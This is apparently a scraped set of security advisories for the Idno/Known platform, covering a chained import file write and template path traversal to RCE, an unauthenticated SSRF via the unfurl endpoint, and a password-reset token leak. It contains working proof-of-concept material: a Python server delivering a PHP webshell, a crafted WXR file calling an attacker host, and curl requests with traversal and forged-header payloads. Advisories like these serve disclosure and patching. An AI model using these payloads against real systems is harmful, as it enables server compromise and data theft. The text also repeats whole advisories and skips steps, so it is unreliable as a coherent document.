$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Summary

A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

Details

The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

PoC

1. The attacker asks for a password reset for the victim

2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.

3. With this code, the attacker is able to use it in order to reset the victim password.

4. The attacker is able to login with the new password.

Impact

• An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.

Known v1.3.1 was discovered to contain an Insecure Direct Object Reference (IDOR).

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Known v1.3.1 was discovered to allow attackers to perform an account takeover via a host header injection attack.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

A cross-site scripting (XSS) vulnerability in Known v1.3.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Your Name text field.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

An issue in the isSVG() function of Known v1.3.1 allows attackers to execute arbitrary code via a crafted SVG file.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

